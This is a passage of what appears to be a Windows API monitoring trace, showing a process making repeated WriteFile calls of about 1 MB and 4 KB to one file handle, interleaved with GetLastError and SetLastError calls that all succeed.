[0096.909] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.936] GetLastError () returned 0x0
[0096.937] SetLastError (dwErrCode=0x0)
[0096.937] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.937] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.965] GetLastError () returned 0x0
[0096.965] SetLastError (dwErrCode=0x0)
[0096.965] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.965] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0096.990] GetLastError () returned 0x0
[0096.990] SetLastError (dwErrCode=0x0)
[0096.990] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0096.991] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.021] GetLastError () returned 0x0
[0097.022] SetLastError (dwErrCode=0x0)
[0097.022] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.022] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.094] GetLastError () returned 0x0
[0097.094] SetLastError (dwErrCode=0x0)
[0097.094] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.094] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.180] GetLastError () returned 0x0
[0097.180] SetLastError (dwErrCode=0x0)
[0097.180] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.181] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.206] GetLastError () returned 0x0
[0097.206] SetLastError (dwErrCode=0x0)
[0097.206] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.207] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.327] GetLastError () returned 0x0
[0097.327] SetLastError (dwErrCode=0x0)
[0097.328] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.328] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.394] GetLastError () returned 0x0
[0097.394] SetLastError (dwErrCode=0x0)
[0097.394] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.395] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.432] GetLastError () returned 0x0
[0097.432] SetLastError (dwErrCode=0x0)
[0097.432] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.432] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.464] GetLastError () returned 0x0
[0097.469] SetLastError (dwErrCode=0x0)
[0097.469] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.470] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.779] GetLastError () returned 0x0
[0097.780] SetLastError (dwErrCode=0x0)
[0097.780] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.780] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.815] GetLastError () returned 0x0
[0097.815] SetLastError (dwErrCode=0x0)
[0097.815] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.816] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.863] GetLastError () returned 0x0
[0097.863] SetLastError (dwErrCode=0x0)
[0097.863] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.864] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.958] GetLastError () returned 0x0
[0097.958] SetLastError (dwErrCode=0x0)
[0097.959] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.959] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0097.984] GetLastError () returned 0x0
[0097.984] SetLastError (dwErrCode=0x0)
[0097.984] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0097.985] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.054] GetLastError () returned 0x0
[0098.054] SetLastError (dwErrCode=0x0)
[0098.054] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.054] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.083] GetLastError () returned 0x0
[0098.083] SetLastError (dwErrCode=0x0)
[0098.083] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.084] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.109] GetLastError () returned 0x0
[0098.109] SetLastError (dwErrCode=0x0)
[0098.109] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.110] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.135] GetLastError () returned 0x0
[0098.136] SetLastError (dwErrCode=0x0)
[0098.136] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.136] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.162] GetLastError () returned 0x0
[0098.162] SetLastError (dwErrCode=0x0)
[0098.162] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.163] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.190] GetLastError () returned 0x0
[0098.190] SetLastError (dwErrCode=0x0)
[0098.190] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.190] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.271] GetLastError () returned 0x0
[0098.271] SetLastError (dwErrCode=0x0)
[0098.272] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.272] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.299] GetLastError () returned 0x0
[0098.299] SetLastError (dwErrCode=0x0)
[0098.299] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.300] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.365] GetLastError () returned 0x0
[0098.365] SetLastError (dwErrCode=0x0)
[0098.365] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.366] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.444] GetLastError () returned 0x0
[0098.444] SetLastError (dwErrCode=0x0)
[0098.444] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.445] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.572] GetLastError () returned 0x0
[0098.573] SetLastError (dwErrCode=0x0)
[0098.573] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.573] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.665] GetLastError () returned 0x0
[0098.665] SetLastError (dwErrCode=0x0)
[0098.665] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.665] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.691] GetLastError () returned 0x0
[0098.691] SetLastError (dwErrCode=0x0)
[0098.692] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.692] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.717] GetLastError () returned 0x0
[0098.717] SetLastError (dwErrCode=0x0)
[0098.717] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.717] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.745] GetLastError () returned 0x0
[0098.746] SetLastError (dwErrCode=0x0)
[0098.746] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.746] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.851] GetLastError () returned 0x0
[0098.852] SetLastError (dwErrCode=0x0)
[0098.852] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.852] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.879] GetLastError () returned 0x0
[0098.879] SetLastError (dwErrCode=0x0)
[0098.879] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.879] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.905] GetLastError () returned 0x0
[0098.905] SetLastError (dwErrCode=0x0)
[0098.905] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.906] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0098.931] GetLastError () returned 0x0
[0098.931] SetLastError (dwErrCode=0x0)
[0098.931] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0098.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.001] GetLastError () returned 0x0
[0099.001] SetLastError (dwErrCode=0x0)
[0099.001] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.001] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.069] GetLastError () returned 0x0
[0099.069] SetLastError (dwErrCode=0x0)
[0099.069] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.069] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.096] GetLastError () returned 0x0
[0099.096] SetLastError (dwErrCode=0x0)
[0099.096] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.096] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.121] GetLastError () returned 0x0
[0099.122] SetLastError (dwErrCode=0x0)
[0099.122] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.122] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.148] GetLastError () returned 0x0
[0099.148] SetLastError (dwErrCode=0x0)
[0099.148] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.148] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.222] GetLastError () returned 0x0
[0099.223] SetLastError (dwErrCode=0x0)
[0099.223] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.223] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.258] GetLastError () returned 0x0
[0099.258] SetLastError (dwErrCode=0x0)
[0099.259] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.260] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.293] GetLastError () returned 0x0
[0099.293] SetLastError (dwErrCode=0x0)
[0099.294] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.294] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
